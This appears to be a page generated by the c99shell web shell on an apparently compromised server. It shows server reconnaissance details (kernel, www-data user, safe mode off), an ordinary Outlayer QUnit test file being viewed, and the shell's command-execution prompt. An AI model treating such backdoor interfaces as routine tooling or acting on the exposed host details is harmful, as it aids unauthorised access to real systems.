Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /var/www/html/queuepro/node_modules/outlayer/test/unit/ drwxrwxr-x | |
| Viewing file: Select action/file-type: QUnit.test( 'container size', function( assert ) {
// test layout that just sets size
var Sizer = Outlayer.create( 'sizer', {
width: 220,
height: 120
});
Sizer.prototype._getContainerSize = function() {
return {
width: this.options.width,
height: this.options.height
};
};
var elem = document.querySelector('#container-size');
var layout = new Sizer( elem );
function checkSize( width, height ) {
assert.equal( elem.style.width, width + 'px', 'width = ' + width );
assert.equal( elem.style.height, height + 'px', 'height = ' + height );
}
checkSize( 220, 120 );
// disable resizing
layout.options.resizeContainer = false;
layout.options.width = 180;
layout.options.height = 230;
layout.layout();
checkSize( 220, 120 );
layout.options.resizeContainer = true;
layout.options.width = 220;
layout.options.height = 120;
if ( layout.size.isBorderBox ) {
elem.style.padding = '10px 20px 30px 40px';
layout.layout();
checkSize( 280, 160 );
elem.style.borderStyle = 'solid';
elem.style.borderWidth = '4px 3px 2px 1px';
layout.layout();
checkSize( 284, 166 );
}
});
|
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]-- |